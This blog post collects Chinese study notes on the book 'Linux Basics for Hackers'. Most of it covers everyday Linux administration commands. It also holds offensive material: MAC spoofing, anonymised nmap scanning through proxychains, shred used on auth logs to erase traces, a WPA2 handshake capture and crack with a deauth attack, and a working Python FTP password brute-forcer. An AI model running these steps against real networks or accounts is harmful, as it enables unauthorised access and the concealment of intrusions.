Linux Basics for Hackers笔记

烈酒焚心 提交于 2020-03-21 07:51:28

书名是:《Linux Basics for Hackers(中文翻译稿)【(美)OccupyTheWeb 著】.pdf》  在不放链接了,关注“信安之路”公共号领取。

这本书才200页,我觉得适合没有基础的人花几天看一遍。毕竟鸟哥Linux太厚了·-·

我这不过是属于笔记,记了点看书的时候不怎么懂的东西,不全

 

查找文件:

locate:1、遍历整个文件系统,显示内容。2、数据每天更新一次

whereis:查找二进制文件

which:查找PATH的二进制文件

find:

  • find directory options expression find只显示确切的名称匹配但可以使用通配符 * . , ? []

nl:查看文件时显示行号

sed:替换

sed s/mysql/MYSQL/g /etc/snort/snort.conf > snort2.conf

s 参数提供搜索,你先提供想要搜索的关键词 (mysql) 然后提供想要替换成的关键词 (MySQL), 用斜杠(/)分开。g 参数告诉 Linux 你希望全局替换,然后将结果保存到一个新文件 snort2.conf。

iwconfig:获取无线网卡的信息

dhclient :

dhclient eth0(-指定发送请求的网络端口

动态分配一个新的地址

更改硬件地址:

kali >ifconfig eth0 down

kali >ifconfig eth0 hw ether 00:11:22:33:44:55 (hw:硬件;ether:以太网)

kali >ifconfig eth0 up

dig + baidu.com(域名 + ns/ms DNS服务器信息/挖掘邮件服务器信息

/etc/resolv.conf文件存放DNS服务器信息,可通过更改此文件改变指定的服务器

/etc/hosts文件执行域名——IP地址映射

软件安装:

1 apt

apt-cache search keyword (搜索本地资源库)

apt-get install packagename (从本地安装)

apt-get remove snort (删除软件)

apt-get purge snort (在删除包的同时删除配置文件)

更新(update)与升级(upgrade)不同:更新只是更新可从存储库下载的包列表,而升级将把包升级到存储库中的最新版本。

在 github 上找到软件后,可以通过输入 git clone 命令及其 github URL 从终端安装软件

kali >git clone https://www.github.com/balle/bluediving.git

将文件的所有权转移到其他用户以便他们能够控制权限,我们可以使用 chown(或更改文件所有者)命令:

kali >chown ➊bob ➋/tmp/bobsfile

在这里,我们给出命令,我们给予所有权的用户的名称,然后是相关文件的位置和名称。此命令授予Bob➊对文件 bobsfile➋所有权的用户帐户。

要将文件的所有权从一个组转移到另一个组,我们可以使用 chgrp(或更改组)命令。

kali >chgrp ➊security ➋newIDS (此命令改变安全组➊newIDS➋的所有权。)

改变权限:

1、 十进制权限改变法

r - 4 | w - 2 | x - 1

chmod 774 filename

2、 UGO 权限改变法

UGO 语法非常简单。输入 chmod 命令,然后输入要更改权限的用户,

为用户提供 u,为组提供 g,为其他用户提供 o,

或者输入三个运算符之一:

  • - 移除一个权限

  • + 添加一个权限

  • = 设置一个权限

如果要同时为用户和其他用户(不包括组)授予执行权限,可以输入以下内容:

chmod u+x, o+x hashcat.hcstat

赋予默认的安全级别权限

如您所见,Linux 自动分配基本权限(通常为文件 666 和目录 777)。您可以使用 umask(或 unmask)

方法更改分配给每个用户创建的文件和目录的默认权限。umask 方法表示要从文件或目录的基本权限中删除

的权限,以使其更安全。

umask 是对应于三个权限数字的三位十进制数字,但是从权限编号中减去 umask 编号以提供新的权限

状态。这意味着当创建新文件或目录时,它权限设置为默认值减去 umask 中的值。

 

SGID 位在常规权限之前表示为 2,因此当 SGID 位置位时,具有结果权限 644 的新文件将表示为 2644。

同样,您可以使用 chmod 命令(例如,chmod 2644 filename)。

 

输入 ps 命令时,进程按其顺序显示启动后,由于内核按照启动顺序分配 PID,所以您看到的是按 PID编号排序的进程。在许多情况下,我们想知道哪些进程使用了最多的资源。这就是 top 命令派上用场的地方,因为它显示按使用的资源排序的进程,从最大的进程开始。与 ps 命令不同的是,top 命令每 10 秒动态刷新一次列表,而 ps 命令只提供一次进程快照。您可以监视和监视那些需要资源的进程

 

进程优先级:-20 —— 0 —— +19 (越小优先级越高

nice 调整优先级:kali >nice -n -10 /bin/slowprocess

renice 命令采用介于-20 和 19 之间的绝对值,并将优先级设置为该特定级别,而不是从其开始的级别增

加或减少。此外,renice 需要您所针对的进程的 PID 而不是名字。

 

kill杀死进程:

标志选项参数描述
SIGHUP 1 这称为挂起(HUP)标志信号。它会停
SIGINT 2 这是中断(INT)信号。这是一个弱信号,不能保证工作,但它在大多数情况下都有效。
SIGQUIT 3 这称为核心转储。它终止进程并将进程信息保存在内存中,然后将此信息保存在当前工作目录中的一个名为core 的文件中。
SIGTERM 15 这是终止(TERM)信号。这是 kill命令的默认 kill 信号。
SIGKILL   这是强制终止信号。它通过将进程的资源发送到特殊位置/dev/null 来强制进程停止。

kali >kill -9 6996

kill options PID

如果您不知道进程的 PID,则可以使用 killall 命令终止进程。此命令将进程的名称(而不是 PID)作为参数。

例如,您可以终止假设的僵尸进程,如下所示

>killall -9 zombieprocess

最后,您还可以在 top 命令中终止进程。只需按 K 键,然后输入需要终止进程的 PID。

 

要在后台启动文本编辑器,只需在命令末尾添加一个与号(&),如下所示:

kali >leafpad newscript &

如果要将在后台运行的进程移动到前台,可以使用 fg(foreground)命令。 fg 命令需要您想要返回到前台的进程的 PID,如下所示。

kali >fg 1234

如果我们不知道具体的 pid,我们可以使用 ps 命令查看。

 

定时执行程序

at 命令是守护进程(后台进程)对于将作业安排在将来的某个时刻运行一次非常有用。crond 更适合于安排任务每天,每周或每月发生

at:

时间格式含义
at 7:20pm 计划于当天晚上 7:20 运行
at 7:20pm June 25 计划于 6 月 25 日晚上 7 点 20 分开始运行
at tomorrow 计划明天运行
at now + 20 minutes 计划从当前时间起 20 分钟内运行
At 7:20pm 06/25/2019 计划于 2019 年 6 月 25 日晚上 7 点20 分开始运行

crond:

 

查看所有环境变量,包括 shell 变量、本地变量和 shell 函数(如任何用户定义的变量和命令别名),请 使用 set 命令。

使变量值永久更改:export 变量名

 

添加PATH变量:

kali >PATH=$PATH:/root/newhackingtool

删除这个新变量或任何变量,请使用 unset 命令。

kali >unset MYNEWVARIABLE

kali >echo $MYNEWVARIABLE

kali >

 

nmap 扫描的语法:

nmap <type of scan> <target IP> <optionally, target port>

常用内置BASH命令
命令命令功能
返回0或true
. 执行shell脚本
b 将作业放在后台
break 退出当前循环
continue 执行当前循环
echo 显示命令参数
eval 计算以下表达式
exec 在不创建新进程的情况下执行命令
export 使变量或函数对其他程序可用
fg 将工作放在前台
getopts 解析shell脚本的参数
jobs 列出后台(bg)执行的工作
read 从标准输入读取一行
readonly 将变量声明为只读
set 列出所有变量
shift 将参数向左移动
test 评估参数
[ 执行条件测试
times 打印用户和系统时间
trap 追踪一个信号
type 显示如何将每个参数解释为一个命令
umask 更改新文件的默认权限
unset 从变量或函数中删除值
wait 等待后台进程完成

 

打包

tar:

归档命令是 tar,我们在这里使用它有三个参数选项。c 选项表示创建,v(代表详细过程,是可选的)列出 tar 正在处理的文件,f 表示写入以下一个文件。

kali >tar -cvf HackersArise.tar hackersarise1 hackersarise2 hackersarise3

我们可以使用 tar 命令和- t 内容列表参数从 tar 包中显示这些文件,而不需要提取它们,如下所示:

kali >tar - tvf HackersArise.tar

-rwxr-xr-x 1 root root 22311 Nov 27 2018 13:00 hackersarise1.sh

-rwxr-xr-x 1 root root 8791 Nov 27 2018 13:00 hackersarise2.sh

-rwxr-xr-x 1 root root 3992 Nov 27 2018 13:00 hackersarise3.sh

可以使用 tar 命令和-**x** (extract)选项从 tar包中提取文件

kali >tar -xvf HackersArise.tar

hackersarise1.sh

hackersarise2.sh

hackersarise3.sh

 

压缩文件:

gzip:

压缩:kali >gzip HackersArise.*

解压缩:kali >gunzip HackersArise.*

bzip2:

压缩:kali >bzip2 HackersArise.*

解压缩:kali >bunzip2 HackersArise.*

compress:

压缩:kali >compress HackersArise.*

解压缩:kali >uncompress HackersArise.* #也可用gunzip命令解压缩

 

创建存储设备的逐位或物理副本

dd命令是逐位复制——可能会复制已删除的文件

kali >dd if=/dev/sdb of=/root/flashcopy #创建一个闪存驱动器的副本

即使遇到错误,noerror 选项也会继续复制。bs 选项允许您确定要复制的数据的块大小(每个块的读/写字节数)。默认情况下,它被设置为 512 字节,但是可以更改它以加快进度。通常,这将设置为设备的扇区大小,通常为 4KB(4096 字节)。

kali >dd if=/dev/media of=/root/flashcopy bs=4096 conv:noerror

dd 命令超越了这个范围。它使您能够在没有文件系统等逻辑结构的情况下对存储设备进行物理复制,允许您恢复已删除的文件等工件。

 

查看您拥有哪些分区以及每个分区中有多少可用容量。您可以通过使用 fdisk 实用程序来实现这一点。使用带有 fdisk- l 参数列出所有驱动器的所有分区

 

高性能文件系统(HPFS)、新技术文件系统(NTFS)和扩展文件分配表(exFAT)

 

c 代表字符,如您所料,这些设备被称为字符设备。通过逐个字符(如鼠标或键盘)发送和接收数据与系统交互的外部设备是字符设备。

b 代表第二种类型:块设备。它们以数据块(一次多个字节)进行通信,包括硬盘驱动器和 DVD 驱动器等设备。这些设备需要更高的数据吞吐量,因此以块(一次多个字符或字节)的形式发送和接收数据。

 

lsblk:列出块设备和信息

 

自己安装存储设备:

kali >mount /dev/sdb1 /mnt

kali >mount /dev/sdc1 /media

卸载:

kali >umount /dev/sdb1 #不能卸载正在使用的设备

 

获取挂载磁盘上的信息:

命令 df(对于空余磁盘)将为我们提供关于任何硬盘或挂载设备(如 CD、DVD 和闪存驱动器)的基本信息,包括正在使用的空间和可用空间

 

检查错误:

fsck 命令(文件系统检查的缩写)检查文件系统的错误并修复损坏(如果可能的话)或者将错误区域放入一个错误块表中,将其标记为错误。

#执行文件系统检查的第一步是卸载设备。

 

rsyslog 日志记录规则

vim /etc/rsyslog.conf

logrotate 自动清理日志

vim /etc/logtate.conf

shred删除文件并多次擦写覆盖它

- f 选项,它更改文件的权限,以便在需要更改权限时允许覆盖;另一个是- n 选项,它允许您选择覆盖文件的次数。

kali >shred -f -n 10 /var/log/auth.log.*

控制日志记录:

service servicename start|stop|restart

kali >service rsyslog stop

 

Apache 默认文件:/var/www/html/index.html

访问远程数据库:

kali >mysql -u root -p 192.168.1.101

Mysql 中查看表的结构:

mysql >describe cardnumbers;

 

PostgreSQL 与 Metasploit

启动postgresql

service postgresql start

启动metasploit

msfconsole

设置postgresql:

msf >msfdb init

以root登录postgres

msf >su postgres

创建用户名和密码

postgres@kali:/root$ createuser msf_user -P

创建数据库并为 msf_user 授予权限。将数据库命名为hackers_arise_db,如下所示:

postgres@kali:/root$ createdb - owner=msf_user hackers_arise_db

postgres@kali:/root$ exit

当您使用 exit 命令退出 Postgres 时,终端将回退到 msf>提示符。

在我们的例子中,我们可以使用以下命令将 msfconsole 连接到我们的数据库

msf >db_connect msf_user:password@127.0.0.1/hackers_arise_db

当然,您需要提供之前使用的密码。IP 地址是本地系统(localhost)的 IP 地址,因此除非在远程系统上构建此数据库,否则可以使用 127.0.0.1。

最后,我们可以检查 PostgreSQL 数据库的状态以确保它已连接:

msf >db_status

[*] postgresql connected to msf

 

Kali Linux 有一个优秀的代理工具,称为 proxychain,您可以设置它来隐藏您的流量。proxychain 命令的语法很简单,如下所示:

kali >proxychains <the command you want proxied> <arguments>

您提供的参数可能包括一个 IP 地址。例如,如果您想使用命令 nmap 以通过代理链匿名方式扫描一个站点,则应输入以下内容:

kali >proxychains nmap -sT - Pn <IP address>

这将通过代理将 nmap -sS 扫描命令隐身发送到给定的 IP 地址。然后,该工具自己构建代理链,因此您不必担心它。

在/etc/proxychain.conf 文件中配置不同的代理方式

 

traceroute:追踪上网路径的命令

traceroute www.baidu.com

 

WIFI网络

AP (access point) 这是无线用户连接到互联网的设备。

ESSID (extended service set identifier) 这和我们在第三章讨论到的 SSID 相同,不过它可以用于无线局域网中的多个 AP 中。

BSSID (basic service set identifier) 这是每个 AP 的唯一标识符,与设备的 MAC 地址相同。

SSID (service set identifier) 这是网络的名称。

Channels WiFi 可以在 14 个信道(1-14)中的任何一个信道上工作。在美国,Wi-Fi 被限制在信道 1 到 11。

Power 你距离 WI-Fi AP 越近,功率越大,连接越容易破解。

Security 这是正在读取的 WiFi AP 上使用的安全协议。 WiFi 有三种主要的安全协议。 最初的有线等效保密(WEP)存在严重缺陷,容易破解。它的替代品,WiFi 保护访问(WPA),更安全一点。最后,WPA2-PSK更加安全并且使用所有用户共享的预共享密钥(PSK),现在几乎所有 WiFi AP(企业 WiFi 除外)都使用它。

Modes Wi­Fi 可以在三种模式下切换:managed, master, 或者 monitor。你将在下一节中了解这些模式的含义。

Wireless range 在美国,Wi-Fi AP 必须合法地以 0.5 瓦的上限广播其信号。 在此功率下,它具有约300 英尺(100 米)的正常范围。 Highgain 天线可以将此范围扩展到 20 英里。

Frequency WiFi 被设计用于 2.4GHz 和 5GHz。 现代 Wi-Fi AP 和无线网卡经常使用这两者。

 

显示WiFi信息:

iwlist interface action

kali >iwlist wlan0 scan #操作

kali >nmcli dev wifi #检测

nmcli dev wifi connect AP-SSID password APpassword #连接wifi

kali >nmcli dev wifi connect Hackers-Arise password 12345678

 

使用aircrack-ng 进行wifi侦察

airmon-­ng start|stop|restart interface

如果要将无线网卡(指定为 WLAN)设置为监视器模式,请输入以下内容:

kali >airmon-ng start wlan0

当无线网卡处于监视器模式时,你可以在无线网络适配器和天线的范围内访问经过你网卡的所有无线通信(标准约 300-500 英尺)。请注意,airmon-ng 将重命名你的无线接口:我的无线网卡已重命名为“wlan0mon”,尽管你的可能有所不同。

要破解无线 AP,你需要客户端 MAC 地址、AP MAC 地址、目标操作的信道和密码列表。

为了破解 Wi-Fi 密码,你需要打开三个终端。在第一个终端中,您将输入类似以下的命令,填写客户机和 AP MAC 地址以及通道:

airodump-ng -c 10 --bssid 01:01:AA:BB:CC:22 -w Hackers-ArisePSK wlan0mon #此命令使用- c 选项捕获通过信道 10 上的 AP 的所有数据包。

在另一个终端中,你可以使用 aireplay ng 命令取消(取消身份验证)与 AP 连接的任何人,并强制他们重新身份验证到 AP,如下所示。当他们重新验证时,你可以捕获在 WPA2-PSK 四次握手中交换的密码散列。密码散列将出现在 airodump-ng 终端的右上角。

aireplay-ng --deauth 100 -a 01:01:AA:BB:CC:22-c A0:A3:E2:44:7C:E5 wlan0mon

最后,在最后一个终端中,你可以使用密码列表(wordlist.dic)在捕获的散列(hacker-arisesk.cap)中查找密码,如下所示:

aircrack-ng -w wordlist.dic -b 01:01:AA:BB:CC:22 Hacker-ArisePSK.cap

 

蓝牙

kali >apt-get install bluez

BlueZ 有许多简单的工具,我们可以用来管理和扫描蓝牙设备,包括:

hciconfig 这个工具的操作与 Linux 中的 ifconfig 非常相似,但是对于蓝牙设备。我使用它来打开蓝牙接口并查询设备的规格。

hcitool 此查询工具可以为我们提供设备名称、设备 ID、设备类和设备时钟信息,使设备能够同步工作。

hcidump 这个工具使我们能够嗅探蓝牙通信,这意味着我们可以捕获通过蓝牙信号发送的数据。

服务发现协议(SDP)是一种用于搜索蓝牙服务的蓝牙协议(蓝牙是一套服务),而且,很有帮助的是,bluez 提供了 sdp tool 工具,用于浏览设备上提供的服务。还需要注意的是,设备不必处于要扫描的发现模式。语法如下:

sdptool browse MACaddress

kali >sdptool browse 76:6E:46:63:72:66

使用I2ping查看设备是否可以访问

l2ping MACaddress

aircrack-ng 无线黑客工具套件包括 airmon-ng 和 airodump-ng,使我们能够从远程无线设备。Bluez 套件包括 hciconfig、hcitool 和其他能够扫描和收集信息的工具,这些工具是在一定范围内对蓝牙设备进行黑客攻击所必需的。

 

modprobe 添加和删除内核模块

kali >modprobe -a <module name>

kali >modprobe -r <module to be removed>

 

cron 守护程序和 crontab 是用于调度常规任务的最有用的工具。 第一个是 crond,它是一个在后台运行的守护进程。cron 守护程序检查 cron 列表以在指定时间运行哪些命令。

想要调度一个任务或作业,需要在/etc/crontab 目录下的 crontab 文件里输入它们。crontab 列表有七个字段:前五个字段用于计划运行任务的时间,第六个字段指定用户,第七个字段用于要执行的命令的绝对路径。如果我们使用 crontab 来调度脚本,我们可以将脚本的绝对路径放在第七个字段里。

五个时间字段中的每一个都代表一个不同的时间元素:按顺序来是分钟、小时、日、月、周。时间的每一个元素都必须用数字表示,所以 3 月表示为 3(你不能直接输入“March”)。周从 0 开始,就是代表周日,到 7 结束,也是代表周日。

时间单位表示
Minute 0-59
Hour 0-23
Day of the month 1-31
Month 1-12
Day of the week 0-7

crontab快捷方式:

@yearly

@annually

@monthly

@weekly

@daily

@midnight

@noon

@reboot

所以,如果你希望 MySQL 扫描器每天午夜运行,你可以添加下行到 crontab 文件:

@midnight user /usr/share/MySQLsscanner.sh

 

你以使用 update-rc.d 命令为 rc.d 脚本添加启动时要运行的服务。此命令允许你从 rc.d 脚本中添加或删除服务。update-rc.d 的语法很简单,输入命令,后面输入脚本的名字然后输入动作,像这样:

kali >update-rc.d <name of the script or service><remove|defaults|disable|enable>

通过GUI添加开机启动服务

从 kali 源下载基本的基于 GUI 的工具 rcconf,像这样:

kali >apt-get install rcconf

安装完成后,可以通过输入以下内容启动 rcconf:

kali >rcconf

进入图形界面配置开机启动项

 

从网上下载:

kali >wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz

kali >tar -xzf python-nmap-0.3.4.tar.gz

kali >cd python-nmap-.03.4/

kali >~/python-nmap-0.3.4 >python setup.py install #安装

 

 1  #! /usr/bin/python3     #声明解释器
 2  import socket           #导入库
 3  TCP_IP = "192.168.181.190"  #声明变量并赋值
 4  TCP_PORT = 6996
 5  BUFFER_SIZE = 100
 6  ​
 7  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #定义socket
 8  s.bind((TCP_IP, TCP_PORT))  #使用创建的变量将socket绑定到ip和端口
 9  s.listen (1)    #使用socket库中的listen()方法进行监听
10  ​
11  conn, addr = s.accept() #使用socket库的accept方法捕获连接系统的ip和端口,并打印
12      print ('Connection address:', addr)
13      while 1:
14      data = conn.recv(BUFFER_SIZE)   #将来自连接系统的信息放入缓冲区
15      if not data:    break
16          print ('Received data:', data)  #打印缓冲区的信息
17      conn.send(data) #echo
18  ​
19  conn.close      #关闭连接

 

 

 1 #异常和密码破解:
 2 
 3 #这个脚本要求用户输入 ftp 服务器号和要破解的 ftp 帐户的用户名。然后它读取一个包含可能密码列表的外部文本文件,并尝试每个密码来破解 ftp 帐户。脚本执行此操作直到成功或密码用完。
 4 
 5  #! /usr/bin/python3
 6  import ftplib       #使用 ftplib 模块中的工具来实现 FTP 协议
 7  server = input("FTP Server:")   #提示用户输入 FTP 服务器的
 8  IP 地址
 9  ​
10  user = input("username:")   #用户尝试进入的帐户的用户名
11  ​
12  Passwordlist = input("Path to Password List:")
13  ​
14  try:
15      with open(Passwordlist, 'r') as pw:
16      for word in pw:
17          word = word.strip('\r').strip('\n')     
18  """
19  此函数删除字符串的第一个和最后一个字符(在这里是密码列表)。如果此列表中的密码前面有空格或逗号,则需要执行此操作。strip()函数的作用是:删除这些字符,只留下潜在密码的字符串。如果我们不去除空白,我们可能会得到一个假阴性。
20  """
21  #首先使用 ftplib 模块连接到用户提供的 IP 地址的服务器,然后从该帐户的密码列表中尝试下一个密码。
22          try:        
23              ftp = ftplib.FTP(server)
24              ftp.login(user, word)
25              #如果组合成功,成功的密码将会被打印到屏幕上
26              print('Success1 The password is '+ word)    
27  """
28  如果用户名和密码的组合导致错误,则代码块退出并转到 except 子句,在该子句中打印 still trying,然后返回到 for 子句的顶部并从密码列表中获取下一个密码以尝试。
29  """
30          except:
31              print('still trying...')
32  except:
33      print ('Wordlist srror')
34  ​

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!